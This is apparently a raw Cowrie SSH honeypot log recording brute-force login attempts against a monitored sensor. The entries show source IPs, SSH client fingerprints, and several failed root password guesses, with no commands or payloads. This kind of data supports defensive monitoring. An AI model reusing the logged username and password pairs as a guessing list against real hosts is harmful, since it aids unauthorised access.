{"eventid":"cowrie.login.failed","username":"sapronov","password":"123456","message":"login attempt [sapronov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:17.525529Z","src_ip":"159.65.58.200","session":"fca12e19b604","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:18.809174Z","src_ip":"159.65.58.200","session":"fca12e19b604","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"38.242.143.220","src_port":36378,"dst_ip":"10.17.0.5","dst_port":22,"session":"44bdb4a4ee95","protocol":"ssh","message":"New connection: 38.242.143.220:36378 (10.17.0.5:22) [session: 44bdb4a4ee95]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:23.705471Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:23.710387Z","src_ip":"38.242.143.220","session":"44bdb4a4ee95","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:23.808447Z","src_ip":"38.242.143.220","session":"44bdb4a4ee95","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"snx2024","message":"login attempt [root/snx2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:24.113816Z","src_ip":"38.242.143.220","session":"44bdb4a4ee95","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:25.223477Z","src_ip":"38.242.143.220","session":"44bdb4a4ee95","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":53172,"dst_ip":"10.17.0.5","dst_port":22,"session":"011ae015fcbc","protocol":"ssh","message":"New connection: 162.144.58.21:53172 (10.17.0.5:22) [session: 011ae015fcbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:26.063642Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:26.069156Z","src_ip":"162.144.58.21","session":"011ae015fcbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:26.158113Z","src_ip":"162.144.58.21","session":"011ae015fcbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N@k@m0t0#Tr0ng@P@ss","message":"login attempt [root/N@k@m0t0#Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:26.427608Z","src_ip":"162.144.58.21","session":"011ae015fcbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:27.811088Z","src_ip":"162.144.58.21","session":"011ae015fcbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:29.065349Z","src_ip":"106.12.18.199","session":"60969354ced0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.153.68.219","src_port":43684,"dst_ip":"10.17.0.5","dst_port":22,"session":"9c06bd49beeb","protocol":"ssh","message":"New connection: 103.153.68.219:43684 (10.17.0.5:22) [session: 9c06bd49beeb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:33.674616Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:33.678429Z","src_ip":"103.153.68.219","session":"9c06bd49beeb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:33.929317Z","src_ip":"103.153.68.219","session":"9c06bd49beeb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mark123","message":"login attempt [root/mark123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:34.701533Z","src_ip":"103.153.68.219","session":"9c06bd49beeb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:35.952862Z","src_ip":"103.153.68.219","session":"9c06bd49beeb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":33454,"dst_ip":"10.17.0.5","dst_port":22,"session":"5ba5513ce5b0","protocol":"ssh","message":"New connection: 161.35.205.74:33454 (10.17.0.5:22) [session: 5ba5513ce5b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:38.091570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:38.095393Z","src_ip":"161.35.205.74","session":"5ba5513ce5b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:38.181076Z","src_ip":"161.35.205.74","session":"5ba5513ce5b0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qwert123$","message":"login attempt [root/qwert123$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:38.555732Z","src_ip":"161.35.205.74","session":"5ba5513ce5b0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"77.237.244.154","src_port":59144,"dst_ip":"10.17.0.5","dst_port":22,"session":"994e34771a09","protocol":"ssh","message":"New connection: 77.237.244.154:59144 (10.17.0.5:22) [session: 994e34771a09]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:39.555828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:39.560426Z","src_ip":"77.237.244.154","session":"994e34771a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:39.648721Z","src_ip":"161.35.205.74","session":"5ba5513ce5b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:39.657348Z","src_ip":"77.237.244.154","session":"994e34771a09","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":44122,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ccc12c4c64f","protocol":"ssh","message":"New connection: 144.91.108.61:44122 (10.17.0.5:22) [session: 7ccc12c4c64f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:39.932384Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:39.938266Z","src_ip":"144.91.108.61","session":"7ccc12c4c64f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"manta123","message":"login attempt [root/manta123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:39.943606Z","src_ip":"77.237.244.154","session":"994e34771a09","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:40.031646Z","src_ip":"144.91.108.61","session":"7ccc12c4c64f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"optimism123","message":"login attempt [root/optimism123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:40.308859Z","src_ip":"144.91.108.61","session":"7ccc12c4c64f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:41.039704Z","src_ip":"77.237.244.154","session":"994e34771a09","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:20:41.402756Z","src_ip":"144.91.108.61","session":"7ccc12c4c64f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.144.58.21","src_port":40436,"dst_ip":"159.203.135.109","dst_port":22,"session":"0bab843c9d8d","protocol":"ssh","message":"New connection: 162.144.58.21:40436 (159.203.135.109:22) [session: 0bab843c9d8d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:17.572124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:17.576582Z","src_ip":"162.144.58.21","session":"0bab843c9d8d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:17.666359Z","src_ip":"162.144.58.21","session":"0bab843c9d8d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"N@k@m0t0#Tr0ng@P@ss","message":"login attempt [root/N@k@m0t0#Tr0ng@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:17.937359Z","src_ip":"162.144.58.21","session":"0bab843c9d8d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:19.028376Z","src_ip":"162.144.58.21","session":"0bab843c9d8d","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.113.233.25","src_port":49982,"dst_ip":"10.17.0.5","dst_port":22,"session":"03a13639f594","protocol":"ssh","message":"New connection: 194.113.233.25:49982 (10.17.0.5:22) [session: 03a13639f594]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:22.003651Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:22.007665Z","src_ip":"194.113.233.25","session":"03a13639f594","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:22.096411Z","src_ip":"194.113.233.25","session":"03a13639f594","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"qazxswa","message":"login attempt [root/qazxswa] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:22.364369Z","src_ip":"194.113.233.25","session":"03a13639f594","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:23.456594Z","src_ip":"194.113.233.25","session":"03a13639f594","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.35.205.74","src_port":35370,"dst_ip":"10.17.0.5","dst_port":22,"session":"0da03328ea22","protocol":"ssh","message":"New connection: 161.35.205.74:35370 (10.17.0.5:22) [session: 0da03328ea22]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T10:21:30.370661Z"}
